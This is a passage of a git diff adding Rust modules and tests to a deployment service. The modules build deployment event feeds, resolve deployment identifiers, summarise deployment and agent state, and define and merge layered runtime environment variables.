Some(command.command_id.clone()), + command_type: Some(command.r#type.clone()), + status: Some("queued".to_string()), + retryable: None, + remediation_class: None, + order_key: 0, + }); + + if command.status != "queued" { + let (kind, classification, order_key) = classify_command_status(&command.status); + let (summary, retryable, remediation_class) = + summarize_command_outcome(command, &kind, &classification); + + drafts.push(DeploymentEventDraft { + kind, + classification, + occurred_at: command.updated_at, + summary, + command_id: Some(command.command_id.clone()), + command_type: Some(command.r#type.clone()), + status: Some(command.status.clone()), + retryable, + remediation_class, + order_key, + }); + } + } + + drafts.sort_by(|left, right| { + left.occurred_at + .cmp(&right.occurred_at) + .then_with(|| left.order_key.cmp(&right.order_key)) + .then_with(|| left.command_id.cmp(&right.command_id)) + .then_with(|| left.summary.cmp(&right.summary)) + }); + + let events = drafts + .into_iter() + .enumerate() + .map(|(index, draft)| DeploymentEvent { + sequence: index + 1, + kind: draft.kind, + classification: draft.classification, + occurred_at: draft.occurred_at, + summary: draft.summary, + command_id: draft.command_id, + command_type: draft.command_type, + status: draft.status, + retryable: draft.retryable, + remediation_class: draft.remediation_class, + }) + .collect(); + + Self { + schema_version: DEPLOYMENT_EVENTS_SCHEMA_VERSION.to_string(), + deployment_hash: deployment.deployment_hash.clone(), + events, + } + } + + pub async fn for_deployment_hash( + pool: &sqlx::PgPool, + deployment_hash: &str, + ) -> Result, String> { + let deployment = + match db::deployment::fetch_by_deployment_hash(pool, deployment_hash).await? { + Some(item) => item, + None => return Ok(None), + }; + let commands = db::command::fetch_by_deployment(pool, deployment_hash).await?; + Ok(Some(Self::from_parts(&deployment, &commands))) + } +} + +fn classify_deployment_status(status: &str) -> DeploymentEventClassification { + match status { + "healthy" | "completed" | "active" => DeploymentEventClassification::Success, + "failed" | "error" | "deploy_failed" => DeploymentEventClassification::Failure, + _ => DeploymentEventClassification::Progress, + } +} + +fn classify_command_status( + status: &str, +) -> (DeploymentEventKind, DeploymentEventClassification, u8) { + match status { + "sent" => ( + DeploymentEventKind::CommandSent, + DeploymentEventClassification::Progress, + 1, + ), + "executing" => ( + DeploymentEventKind::CommandExecuting, + DeploymentEventClassification::Progress, + 2, + ), + "completed" => ( + DeploymentEventKind::CommandCompleted, + DeploymentEventClassification::Success, + 3, + ), + "failed" => ( + DeploymentEventKind::CommandFailed, + DeploymentEventClassification::Failure, + 3, + ), + "cancelled" => ( + DeploymentEventKind::CommandCancelled, + DeploymentEventClassification::Failure, + 3, + ), + _ => ( + DeploymentEventKind::CommandQueued, + DeploymentEventClassification::Info, + 0, + ), + } +} + +fn summarize_command_outcome( + command: &Command, + kind: &DeploymentEventKind, + classification: &DeploymentEventClassification, +) -> (String, Option, Option) { + match kind { + DeploymentEventKind::CommandSent => { + (format!("{} sent to agent", command.r#type), None, None) + } + DeploymentEventKind::CommandExecuting => { + (format!("{} executing", command.r#type), None, None) + } + DeploymentEventKind::CommandCompleted => ( + extract_message(command.result.as_ref()) + .unwrap_or_else(|| format!("{} completed", command.r#type)), + None, + None, + ), + DeploymentEventKind::CommandFailed | DeploymentEventKind::CommandCancelled => { + if let Some(error) = parse_typed_error(command.error.as_ref()) { + return ( + error.message, + Some(error.retryable), + Some(error.remediation_class), + ); + } + + ( + extract_message(command.error.as_ref()).unwrap_or_else(|| { + format!( + "{} {}", + command.r#type, + match classification { + DeploymentEventClassification::Failure => "failed", + _ => "ended", + } + ) + }), + Some(false), + Some(TypedRemediationClass::State), + ) + } + _ => (format!("{} queued", command.r#type), None, None), + } +} + +fn extract_message(value: Option<&JsonValue>) -> Option { + let value = value?; + if let Some(message) = value.get("message").and_then(|item| item.as_str()) { + return Some(message.to_string()); + } + if let Some(status) = value.get("status").and_then(|item| item.as_str()) { + return Some(status.to_string()); + } + if let Some(errors) = value.get("errors").and_then(|item| item.as_array()) { + if let Some(message) = errors + .iter() + .find_map(|entry| entry.get("message").and_then(|item| item.as_str())) + { + return Some(message.to_string()); + } + } + value.as_str().map(ToOwned::to_owned) +} + +fn parse_typed_error(value: Option<&JsonValue>) -> Option { + serde_json::from_value(value?.clone()).ok() +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::models::{Command, Deployment}; + use serde_json::json; + + fn sample_deployment() -> Deployment { + let mut deployment = Deployment::new( + 17, + Some("user-a".to_string()), + "deployment_events_online".to_string(), + "in_progress".to_string(), + "runc".to_string(), + json!({ + "status_message": "Provisioning server" + }), + ); + deployment.updated_at = DateTime::parse_from_rfc3339("2026-05-17T08:02:00Z") + .unwrap() + .with_timezone(&Utc); + deployment + } + + fn sample_command( + command_id: &str, + status: &str, + created_at: &str, + updated_at: &str, + ) -> Command { + let mut command = Command::new( + command_id.to_string(), + "deployment_events_online".to_string(), + "deploy_app".to_string(), + "user-a".to_string(), + ); + command.status = status.to_string(); + command.created_at = DateTime::parse_from_rfc3339(created_at) + .unwrap() + .with_timezone(&Utc); + command.updated_at = DateTime::parse_from_rfc3339(updated_at) + .unwrap() + .with_timezone(&Utc); + command + } + + #[test] + fn serializes_event_feed() { + let feed = DeploymentEventFeed::from_parts( + &sample_deployment(), + &[sample_command( + "cmd-1", + "completed", + "2026-05-17T08:00:00Z", + "2026-05-17T08:05:00Z", + )], + ); + + let json = serde_json::to_value(&feed).expect("event feed should serialize"); + assert_eq!( + json["schemaVersion"].as_str().unwrap(), + DEPLOYMENT_EVENTS_SCHEMA_VERSION + ); + assert!(json["events"].as_array().unwrap().len() >= 2); + } + + #[test] + fn orders_events_by_time_then_phase() { + let feed = DeploymentEventFeed::from_parts( + &sample_deployment(), + &[sample_command( + "cmd-1", + "executing", + "2026-05-17T08:00:00Z", + "2026-05-17T08:01:00Z", + )], + ); + + assert_eq!(feed.events[0].kind, DeploymentEventKind::CommandQueued); + assert_eq!(feed.events[1].kind, DeploymentEventKind::CommandExecuting); + assert_eq!(feed.events[2].kind, DeploymentEventKind::DeploymentStatus); + } + + #[test] + fn classifies_failure_events_from_typed_errors() { + let mut command = sample_command( + "cmd-1", + "failed", + "2026-05-17T08:00:00Z", + "2026-05-17T08:03:00Z", + ); + command.error = Some( + serde_json::to_value(TypedErrorEnvelope::deployment_capability_missing( + "Agent cannot run rollback", + )) + .unwrap(), + ); + + let feed = DeploymentEventFeed::from_parts(&sample_deployment(), &[command]); + let failure = feed + .events + .iter() + .find(|event| event.kind == DeploymentEventKind::CommandFailed) + .expect("failed event should exist"); + + assert_eq!( + failure.classification, + DeploymentEventClassification::Failure + ); + assert_eq!(failure.retryable, Some(false)); + assert_eq!( + failure.remediation_class, + Some(TypedRemediationClass::Capability) + ); + } +} diff --git a/stacker/stacker/src/services/deployment_identifier.rs b/stacker/stacker/src/services/deployment_identifier.rs new file mode 100644 index 0000000..0fd3b01 --- /dev/null +++ b/stacker/stacker/src/services/deployment_identifier.rs @@ -0,0 +1,329 @@ +//! Deployment Identifier abstraction for resolving deployments. +//! +//! This module provides core types for deployment identification. +//! These types are **independent of any external service** - Stack Builder +//! works fully with just the types defined here. +//! +//! For User Service (legacy installations) integration, see: +//! `connectors::user_service::deployment_resolver` +//! +//! # Example (Stack Builder Native) +//! ```rust,ignore +//! use crate::services::DeploymentIdentifier; +//! +//! // From deployment_hash (Stack Builder - native) +//! let id = DeploymentIdentifier::from_hash("abc123"); +//! +//! // Direct resolution for Stack Builder (no external service needed) +//! let hash = id.into_hash().expect("Stack Builder always has hash"); +//! ``` +//! +//! # Example (With User Service) +//! ```rust,ignore +//! use crate::services::DeploymentIdentifier; +//! use crate::connectors::user_service::UserServiceDeploymentResolver; +//! +//! // From installation ID (requires User Service) +//! let id = DeploymentIdentifier::from_id(13467); +//! +//! // Resolve via User Service +//! let resolver = UserServiceDeploymentResolver::new(&settings.user_service_url, token); +//! let hash = resolver.resolve(&id).await?; +//! ``` + +use async_trait::async_trait; +use serde::Deserialize; + +/// Represents a deployment identifier that can be resolved to a deployment_hash. +/// +/// This enum abstracts the difference between: +/// - Stack Builder deployments (identified by hash directly) +/// - Legacy User Service installations (identified by numeric ID) +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum DeploymentIdentifier { + /// Direct deployment hash (Stack Builder deployments) + Hash(String), + /// User Service installation ID (legacy deployments) + InstallationId(i64), +} + +impl DeploymentIdentifier { + /// Create from deployment hash (Stack Builder) + pub fn from_hash(hash: impl Into) -> Self { + Self::Hash(hash.into()) + } + + /// Create from installation ID (User Service) + pub fn from_id(id: i64) -> Self { + Self::InstallationId(id) + } + + /// Try to create from optional hash and id. + /// Prefers hash if both are provided (Stack Builder takes priority). + pub fn try_from_options(hash: Option, id: Option) -> Result { + match (hash, id) { + (Some(h), _) => Ok(Self::Hash(h)), + (None, Some(i)) => Ok(Self::InstallationId(i)), + (None, None) => Err("Either deployment_hash or deployment_id is required"), + } + } + + /// Check if this is a direct hash (no external resolution needed) + pub fn is_hash(&self) -> bool { + matches!(self, Self::Hash(_)) + } + + /// Check if this requires external resolution (User Service) + pub fn requires_resolution(&self) -> bool { + matches!(self, Self::InstallationId(_)) + } + + /// Get the hash directly if available (no async resolution) + /// Returns None if this is an InstallationId that needs resolution + pub fn as_hash(&self) -> Option<&str> { + match self { + Self::Hash(h) => Some(h), + _ => None, + } + } + + /// Get the installation ID if this is a legacy deployment + pub fn as_installation_id(&self) -> Option { + match self { + Self::InstallationId(id) => Some(*id), + _ => None, + } + } + + /// Convert to hash, failing if this requires external resolution. + /// Use this for Stack Builder native deployments only. + pub fn into_hash(self) -> Result { + match self { + Self::Hash(h) => Ok(h), + other => Err(other), + } + } +} + +// Implement From traits for ergonomic conversion + +impl From for DeploymentIdentifier { + fn from(hash: String) -> Self { + Self::Hash(hash) + } +} + +impl From<&str> for DeploymentIdentifier { + fn from(hash: &str) -> Self { + Self::Hash(hash.to_string()) + } +} + +impl From for DeploymentIdentifier { + fn from(id: i64) -> Self { + Self::InstallationId(id) + } +} + +impl From for DeploymentIdentifier { + fn from(id: i32) -> Self { + Self::InstallationId(id as i64) + } +} + +/// Errors that can occur during deployment resolution +#[derive(Debug)] +pub enum DeploymentResolveError { + /// Deployment/Installation not found + NotFound(String), + /// Deployment exists but has no deployment_hash + NoHash(String), + /// External service error (User Service, etc.) + ServiceError(String), + /// Resolution not supported for this identifier type + NotSupported(String), +} + +impl std::fmt::Display for DeploymentResolveError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + Self::NotFound(msg) => write!(f, "Deployment not found: {}", msg), + Self::NoHash(msg) => write!(f, "Deployment has no hash: {}", msg), + Self::ServiceError(msg) => write!(f, "Service error: {}", msg), + Self::NotSupported(msg) => write!(f, "Resolution not supported: {}", msg), + } + } +} + +impl std::error::Error for DeploymentResolveError {} + +// Allow easy conversion to String for MCP tool errors +impl From for String { + fn from(err: DeploymentResolveError) -> String { + err.to_string() + } +} + +/// Trait for resolving deployment identifiers to deployment hashes. +/// +/// Different implementations can resolve from different sources: +/// - `StackerDeploymentResolver`: Native Stack Builder (hash-only, no external deps) +/// - `UserServiceDeploymentResolver`: Resolves via User Service (in connectors/) +#[async_trait] +pub trait DeploymentResolver: Send + Sync { + /// Resolve a deployment identifier to its deployment_hash + async fn resolve( + &self, + identifier: &DeploymentIdentifier, + ) -> Result; +} + +/// Native Stack Builder resolver - no external dependencies. +/// Only supports direct hash identifiers (Stack Builder deployments). +/// For User Service installations, use `UserServiceDeploymentResolver` from connectors. +pub struct StackerDeploymentResolver; + +impl StackerDeploymentResolver { + pub fn new() -> Self { + Self + } +} + +impl Default for StackerDeploymentResolver { + fn default() -> Self { + Self::new() + } +} + +#[async_trait] +impl DeploymentResolver for StackerDeploymentResolver { + async fn resolve( + &self, + identifier: &DeploymentIdentifier, + ) -> Result { + match identifier { + DeploymentIdentifier::Hash(hash) => Ok(hash.clone()), + DeploymentIdentifier::InstallationId(id) => { + Err(DeploymentResolveError::NotSupported(format!( + "Installation ID {} requires User Service. Enable user_service connector.", + id + ))) + } + } + } +} + +/// Helper struct for deserializing deployment identifier from MCP tool args +#[derive(Debug, Deserialize, Default)] +pub struct DeploymentIdentifierArgs { + #[serde(default)] + pub deployment_id: Option, + #[serde(default)] + pub deployment_hash: Option, +} + +impl DeploymentIdentifierArgs { + /// Convert to DeploymentIdentifier, preferring hash if both provided + pub fn into_identifier(self) -> Result { + DeploymentIdentifier::try_from_options(self.deployment_hash, self.deployment_id) + } +} + +impl TryFrom for DeploymentIdentifier { + type Error = &'static str; + + fn try_from(args: DeploymentIdentifierArgs) -> Result { + args.into_identifier() + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_from_hash() { + let id = DeploymentIdentifier::from_hash("abc123"); + assert!(id.is_hash()); + assert!(!id.requires_resolution()); + assert_eq!(id.as_hash(), Some("abc123")); + } + + #[test] + fn test_from_id() { + let id = DeploymentIdentifier::from_id(12345); + assert!(!id.is_hash()); + assert!(id.requires_resolution()); + assert_eq!(id.as_hash(), None); + assert_eq!(id.as_installation_id(), Some(12345)); + } + + #[test] + fn test_into_hash_success() { + let id = DeploymentIdentifier::from_hash("hash123"); + assert_eq!(id.into_hash(), Ok("hash123".to_string())); + } + + #[test] + fn test_into_hash_failure() { + let id = DeploymentIdentifier::from_id(123); + assert!(id.into_hash().is_err()); + } + + #[test] + fn test_from_string() { + let id: DeploymentIdentifier = "hash123".into(); + assert!(id.is_hash()); + } + + #[test] + fn test_from_i64() { + let id: DeploymentIdentifier = 12345i64.into(); + assert!(!id.is_hash()); + } + + #[test] + fn test_try_from_options_prefers_hash() { + let id = + DeploymentIdentifier::try_from_options(Some("hash".to_string()), Some(123)).unwrap(); + assert!(id.is_hash()); + } + + #[test] + fn test_try_from_options_uses_id_when_no_hash() { + let id = DeploymentIdentifier::try_from_options(None, Some(123)).unwrap(); + assert!(!id.is_hash()); + } + + #[test] + fn test_try_from_options_fails_when_both_none() { + let result = DeploymentIdentifier::try_from_options(None, None); + assert!(result.is_err()); + } + + #[test] + fn test_args_into_identifier() { + let args = DeploymentIdentifierArgs { + deployment_id: Some(123), + deployment_hash: None, + }; + let id = args.into_identifier().unwrap(); + assert!(!id.is_hash()); + } + + #[tokio::test] + async fn test_stacker_resolver_hash() { + let resolver = StackerDeploymentResolver::new(); + let id = DeploymentIdentifier::from_hash("test_hash"); + let result = resolver.resolve(&id).await; + assert_eq!(result.unwrap(), "test_hash"); + } + + #[tokio::test] + async fn test_stacker_resolver_rejects_installation_id() { + let resolver = StackerDeploymentResolver::new(); + let id = DeploymentIdentifier::from_id(123); + let result = resolver.resolve(&id).await; + assert!(result.is_err()); + } +} diff --git a/stacker/stacker/src/services/deployment_state.rs b/stacker/stacker/src/services/deployment_state.rs new file mode 100644 index 0000000..79acb66 --- /dev/null +++ b/stacker/stacker/src/services/deployment_state.rs @@ -0,0 +1,315 @@ +use chrono::{DateTime, Utc}; +use serde::{Deserialize, Serialize}; + +use crate::{ + db, + helpers::{ + extract_capabilities, has_capability, has_capability_value, remote_runtime_compose_path, + remote_runtime_env_path, NPM_CREDENTIAL_SOURCE_KEY, + }, + models::{Agent, Command, Deployment, Project, ProjectApp}, +}; + +pub const DEPLOYMENT_STATE_SCHEMA_VERSION: &str = "v1alpha1"; + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct DeploymentState { + pub schema_version: String, + pub project: DeploymentProjectState, + pub deployment: DeploymentStateDeployment, + pub agent: DeploymentAgentState, + pub runtime: DeploymentRuntimeState, + pub apps: Vec, + pub drift: DeploymentDriftState, + #[serde(skip_serializing_if = "Option::is_none")] + pub last_command: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct DeploymentProjectState { + pub id: i32, + pub identity: String, + pub name: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct DeploymentStateDeployment { + pub id: i32, + pub deployment_hash: String, + pub status: String, + pub runtime: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct DeploymentAgentState { + #[serde(skip_serializing_if = "Option::is_none")] + pub id: Option, + pub status: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub version: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub last_heartbeat: Option>, + pub capabilities: Vec, + pub features: DeploymentAgentFeatures, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct DeploymentAgentFeatures { + pub compose: bool, + pub kata_runtime: bool, + pub backup: bool, + pub pipes: bool, + pub proxy_credentials_vault: bool, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct DeploymentRuntimeState { + pub compose_path: String, + pub env_path: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct DeploymentAppState { + pub code: String, + pub name: String, + pub enabled: bool, + pub config_version: i32, + pub vault_sync_version: i32, + #[serde(skip_serializing_if = "Option::is_none")] + pub config_hash: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct DeploymentDriftState { + pub has_drift: bool, + pub summary: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "camelCase")] +pub struct DeploymentLastCommandState { + pub r#type: String, + pub status: String, + pub finished_at: DateTime, +} + +impl DeploymentState { + pub fn from_parts( + project: &Project, + deployment: &Deployment, + agent: Option<&Agent>, + apps: &[ProjectApp], + last_command: Option<&Command>, + ) -> Self { + let capabilities = agent + .map(|item| extract_capabilities(item.capabilities.clone())) + .unwrap_or_default(); + + let features = DeploymentAgentFeatures { + compose: has_capability(&capabilities, "compose"), + kata_runtime: has_capability(&capabilities, "kata"), + backup: has_capability(&capabilities, "backup"), + pipes: has_capability(&capabilities, "pipes"), + proxy_credentials_vault: has_capability_value( + &capabilities, + NPM_CREDENTIAL_SOURCE_KEY, + "vault", + ), + }; + + let apps = apps + .iter() + .map(|app| DeploymentAppState { + code: app.code.clone(), + name: app.name.clone(), + enabled: app.enabled.unwrap_or(true), + config_version: app.config_version.unwrap_or(0), + vault_sync_version: app.vault_sync_version.unwrap_or(0), + config_hash: app.config_hash.clone(), + }) + .collect(); + + Self { + schema_version: DEPLOYMENT_STATE_SCHEMA_VERSION.to_string(), + project: DeploymentProjectState { + id: project.id, + identity: project + .metadata + .get("identity") + .and_then(|value| value.as_str()) + .unwrap_or(&project.name) + .to_string(), + name: project.name.clone(), + }, + deployment: DeploymentStateDeployment { + id: deployment.id, + deployment_hash: deployment.deployment_hash.clone(), + status: deployment.status.clone(), + runtime: deployment.runtime.clone(), + }, + agent: DeploymentAgentState { + id: agent.map(|item| item.id.to_string()), + status: agent + .map(|item| item.status.clone()) + .unwrap_or_else(|| "offline".to_string()), + version: agent.and_then(|item| item.version.clone()), + last_heartbeat: agent.and_then(|item| item.last_heartbeat), + capabilities, + features, + }, + runtime: DeploymentRuntimeState { + compose_path: remote_runtime_compose_path().to_string(), + env_path: remote_runtime_env_path().to_string(), + }, + apps, + drift: DeploymentDriftState { + has_drift: false, + summary: "no drift detected".to_string(), + }, + last_command: last_command.map(|command| DeploymentLastCommandState { + r#type: command.r#type.clone(), + status: command.status.clone(), + finished_at: command.updated_at, + }), + } + } + + pub async fn for_deployment_hash( + pool: &sqlx::PgPool, + deployment_hash: &str, + ) -> Result, String> { + let deployment = + match db::deployment::fetch_by_deployment_hash(pool, deployment_hash).await? { + Some(item) => item, + None => return Ok(None), + }; + + let project = db::project::fetch(pool, deployment.project_id) + .await? + .ok_or_else(|| "Project not found for deployment".to_string())?; + let agent = db::agent::fetch_by_deployment_hash(pool, deployment_hash).await?; + let apps = db::project_app::fetch_by_deployment(pool, project.id, deployment.id).await?; + let last_command = db::command::fetch_recent_by_deployment(pool, deployment_hash, 1, true) + .await? + .into_iter() + .next(); + + Ok(Some(Self::from_parts( + &project, + &deployment, + agent.as_ref(), + &apps, + last_command.as_ref(), + ))) + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::models::{Agent, Command, Deployment, Project, ProjectApp}; + use serde_json::json; + + fn sample_project() -> Project { + let mut project = Project::new( + "user-a".to_string(), + "syncopia".to_string(), + json!({ "identity": "syncopia" }), + json!({}), + ); + project.id = 17; + project.metadata = json!({ "identity": "syncopia" }); + project + } + + fn sample_deployment(hash: &str, status: &str) -> Deployment { + let mut deployment = Deployment::new( + 17, + Some("user-a".to_string()), + hash.to_string(), + status.to_string(), + "runc".to_string(), + json!({}), + ); + deployment.id = 31; + deployment + } + + fn sample_app(code: &str, name: &str, config_version: i32, sync_version: i32) -> ProjectApp { + let mut app = ProjectApp::new( + 17, + code.to_string(), + name.to_string(), + format!("{code}:latest"), + ); + app.config_version = Some(config_version); + app.vault_sync_version = Some(sync_version); + app.config_hash = Some(format!("cfg-{code}")); + app + } + + #[test] + fn serializes_online_state() { + let mut agent = Agent::new("deployment_state_online".to_string()); + agent.mark_online(); + agent.version = Some("0.1.9".to_string()); + agent.capabilities = Some(json!([ + "docker", + "compose", + "logs", + "npm_credential_source=vault" + ])); + + let state = DeploymentState::from_parts( + &sample_project(), + &sample_deployment("deployment_state_online", "healthy"), + Some(&agent), + &[ + sample_app("device-api", "Device API", 3, 3), + sample_app("upload", "Upload", 2, 2), + ], + Some( + &Command::new( + "cmd-1".to_string(), + "deployment_state_online".to_string(), + "deploy_app".to_string(), + "user-a".to_string(), + ) + .mark_completed(), + ), + ); + + let json = serde_json::to_value(&state).expect("state should serialize"); + assert_eq!(json["schemaVersion"], DEPLOYMENT_STATE_SCHEMA_VERSION); + assert_eq!( + json["deployment"]["deploymentHash"], + "deployment_state_online" + ); + assert_eq!(json["agent"]["status"], "online"); + assert_eq!(json["apps"].as_array().unwrap().len(), 2); + } + + #[test] + fn offline_state_omits_optional_agent_fields() { + let state = DeploymentState::from_parts( + &sample_project(), + &sample_deployment("deployment_state_offline", "pending"), + None, + &[], + None, + ); + + let json = serde_json::to_value(&state).expect("state should serialize"); + assert_eq!(json["agent"]["status"], "offline"); + assert!(json["agent"].get("id").is_none()); + assert!(json.get("lastCommand").is_none()); + } +} diff --git a/stacker/stacker/src/services/env_contract.rs b/stacker/stacker/src/services/env_contract.rs new file mode 100644 index 0000000..c6abed3 --- /dev/null +++ b/stacker/stacker/src/services/env_contract.rs @@ -0,0 +1,96 @@ +use serde::Serialize; + +pub const RUNTIME_ENV_CONTRACT_VERSION: &str = "v1"; +pub const RUNTIME_ENV_PRECEDENCE_ORDER: &str = "lowest_to_highest"; + +pub const RUNTIME_ENV_LAYER_BASE: &str = "base"; +pub const RUNTIME_ENV_LAYER_SERVER: &str = "server"; +pub const RUNTIME_ENV_LAYER_SERVICE: &str = "service"; +pub const RUNTIME_ENV_LAYER_COMPOSE: &str = "compose"; + +#[derive(Debug, Clone, Copy, Serialize, PartialEq, Eq)] +pub struct RuntimeEnvLayerContract { + pub name: &'static str, + pub precedence: u8, + #[serde(rename = "appliesWhen")] + pub applies_when: &'static str, + pub description: &'static str, +} + +pub const RUNTIME_ENV_LAYER_CONTRACTS: [RuntimeEnvLayerContract; 4] = [ + RuntimeEnvLayerContract { + name: RUNTIME_ENV_LAYER_BASE, + precedence: 1, + applies_when: "Always", + description: "App env and local authoring inputs provide the base runtime layer.", + }, + RuntimeEnvLayerContract { + name: RUNTIME_ENV_LAYER_SERVER, + precedence: 2, + applies_when: "Only when inherit_server_secrets=true", + description: "Server-scope secrets overlay the base layer when the target opts in.", + }, + RuntimeEnvLayerContract { + name: RUNTIME_ENV_LAYER_SERVICE, + precedence: 3, + applies_when: "When remote service secrets exist for the selected service/app target", + description: "Service-scope secrets override lower layers for the selected target.", + }, + RuntimeEnvLayerContract { + name: RUNTIME_ENV_LAYER_COMPOSE, + precedence: 4, + applies_when: "When the compose service defines environment: keys", + description: "Compose environment keys win over env_file-derived layers at runtime.", + }, +]; + +#[derive(Debug, Clone, Serialize, PartialEq, Eq)] +pub struct RuntimeEnvContractResponse { + pub version: &'static str, + pub order: &'static str, + pub layers: Vec, +} + +pub fn runtime_env_contract_response() -> RuntimeEnvContractResponse { + RuntimeEnvContractResponse { + version: RUNTIME_ENV_CONTRACT_VERSION, + order: RUNTIME_ENV_PRECEDENCE_ORDER, + layers: RUNTIME_ENV_LAYER_CONTRACTS.to_vec(), + } +} + +pub fn runtime_env_layer_names() -> Vec<&'static str> { + RUNTIME_ENV_LAYER_CONTRACTS + .iter() + .map(|layer| layer.name) + .collect() +} + +#[cfg(test)] +mod tests { + use super::{ + runtime_env_contract_response, runtime_env_layer_names, RUNTIME_ENV_CONTRACT_VERSION, + RUNTIME_ENV_LAYER_BASE, RUNTIME_ENV_LAYER_COMPOSE, RUNTIME_ENV_LAYER_SERVER, + RUNTIME_ENV_LAYER_SERVICE, RUNTIME_ENV_PRECEDENCE_ORDER, + }; + + #[test] + fn runtime_env_contract_is_stable() { + let contract = runtime_env_contract_response(); + + assert_eq!(contract.version, RUNTIME_ENV_CONTRACT_VERSION); + assert_eq!(contract.order, RUNTIME_ENV_PRECEDENCE_ORDER); + assert_eq!( + runtime_env_layer_names(), + vec![ + RUNTIME_ENV_LAYER_BASE, + RUNTIME_ENV_LAYER_SERVER, + RUNTIME_ENV_LAYER_SERVICE, + RUNTIME_ENV_LAYER_COMPOSE, + ] + ); + assert_eq!(contract.layers.len(), 4); + assert_eq!(contract.layers[0].precedence, 1); + assert_eq!(contract.layers[3].precedence, 4); + } +} diff --git a/stacker/stacker/src/services/env_model.rs b/stacker/stacker/src/services/env_model.rs new file mode 100644 index 0000000..2983d33 --- /dev/null +++ b/stacker/stacker/src/services/env_model.rs @@ -0,0 +1,228 @@ +use serde_json::Value; +use std::collections::{BTreeMap, HashMap, HashSet}; + +pub const RENDER_HEADER: &str = "# stacker-render "; + +#[derive(Debug, Clone, Copy)] +pub struct EnvLayer<'a> { + pub name: &'static str, + pub entries: &'a HashMap, + pub include_in_inputs: bool, +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct ReconciledEnv { + pub entries: BTreeMap, + pub inputs: Vec<&'static str>, +} + +pub fn reconcile_env_layers(layers: &[EnvLayer<'_>]) -> ReconciledEnv { + let mut entries = BTreeMap::new(); + let mut inputs = Vec::new(); + + for layer in layers { + if layer.entries.is_empty() { + continue; + } + + if layer.include_in_inputs { + inputs.push(layer.name); + } + + for (key, value) in layer.entries { + entries.insert(key.clone(), value.clone()); + } + } + + ReconciledEnv { entries, inputs } +} + +pub fn reconcile_env_file_content(existing_content: &str, rendered_env_content: &str) -> String { + let authored_content = strip_rendered_env_block(existing_content); + let rendered_keys: HashSet = parse_env_assignments(rendered_env_content) + .into_keys() + .collect(); + + let authored_lines: Vec<&str> = authored_content + .lines() + .filter(|line| !should_remove_authored_line(line, &rendered_keys)) + .collect(); + + let authored_content = authored_lines.join("\n"); + let authored_content = authored_content.trim_end(); + if authored_content.is_empty() { + return rendered_env_content.to_string(); + } + + format!("{authored_content}\n\n{rendered_env_content}") +} + +pub fn strip_rendered_env_block(existing_content: &str) -> &str { + match existing_content.find(RENDER_HEADER) { + Some(0) => "", + Some(index) => &existing_content[..index], + None => existing_content, + } +} + +pub fn parse_env_assignments(content: &str) -> BTreeMap { + content.lines().filter_map(parse_env_assignment).collect() +} + +pub fn normalize_json_env(env: &Value) -> BTreeMap { + match env { + Value::Object(map) => map + .iter() + .map(|(key, value)| (key.clone(), stringify_json_env_value(value))) + .collect(), + Value::Array(items) => items + .iter() + .filter_map(|item| item.as_str().and_then(parse_env_assignment)) + .collect(), + _ => BTreeMap::new(), + } +} + +pub fn normalize_optional_json_env(env: Option<&Value>) -> BTreeMap { + env.map(normalize_json_env).unwrap_or_default() +} + +fn should_remove_authored_line(line: &str, rendered_keys: &HashSet) -> bool { + parse_env_assignment(line) + .map(|(key, _)| rendered_keys.contains(&key)) + .unwrap_or(false) +} + +fn parse_env_assignment(line: &str) -> Option<(String, String)> { + let line = line.trim(); + if line.is_empty() || line.starts_with('#') { + return None; + } + + let line = line + .strip_prefix("export ") + .map(str::trim_start) + .unwrap_or(line); + + if let Some((key, value)) = line.split_once('=') { + return Some((key.trim().to_string(), value.trim().to_string())); + } + + line.split_once(':') + .map(|(key, value)| (key.trim().to_string(), value.trim().to_string())) +} + +fn stringify_json_env_value(value: &Value) -> String { + match value { + Value::String(text) => text.clone(), + Value::Number(number) => number.to_string(), + Value::Bool(flag) => flag.to_string(), + other => other.to_string(), + } +} + +#[cfg(test)] +mod tests { + use super::{ + normalize_json_env, normalize_optional_json_env, parse_env_assignments, + reconcile_env_file_content, reconcile_env_layers, EnvLayer, + }; + use serde_json::json; + use std::collections::HashMap; + + #[test] + fn reconcile_env_layers_applies_precedence_by_order() { + let base = HashMap::from([("SHARED".to_string(), "base".to_string())]); + let service = HashMap::from([("SHARED".to_string(), "service".to_string())]); + + let reconciled = reconcile_env_layers(&[ + EnvLayer { + name: "base", + entries: &base, + include_in_inputs: true, + }, + EnvLayer { + name: "service", + entries: &service, + include_in_inputs: true, + }, + ]); + + assert_eq!( + reconciled.entries.get("SHARED").map(String::as_str), + Some("service") + ); + assert_eq!(reconciled.inputs, vec!["base", "service"]); + } + + #[test] + fn reconcile_env_file_content_replaces_overridden_authored_keys() { + let existing = "RUST_LOG=debug\nS3_BUCKET=local\n# comment\n"; + let rendered = + "# stacker-render version=2 hash=new generated_at=now inputs=service\nS3_BUCKET=remote\n"; + + let merged = reconcile_env_file_content(existing, rendered); + + assert_eq!( + merged, + "RUST_LOG=debug\n# comment\n\n# stacker-render version=2 hash=new 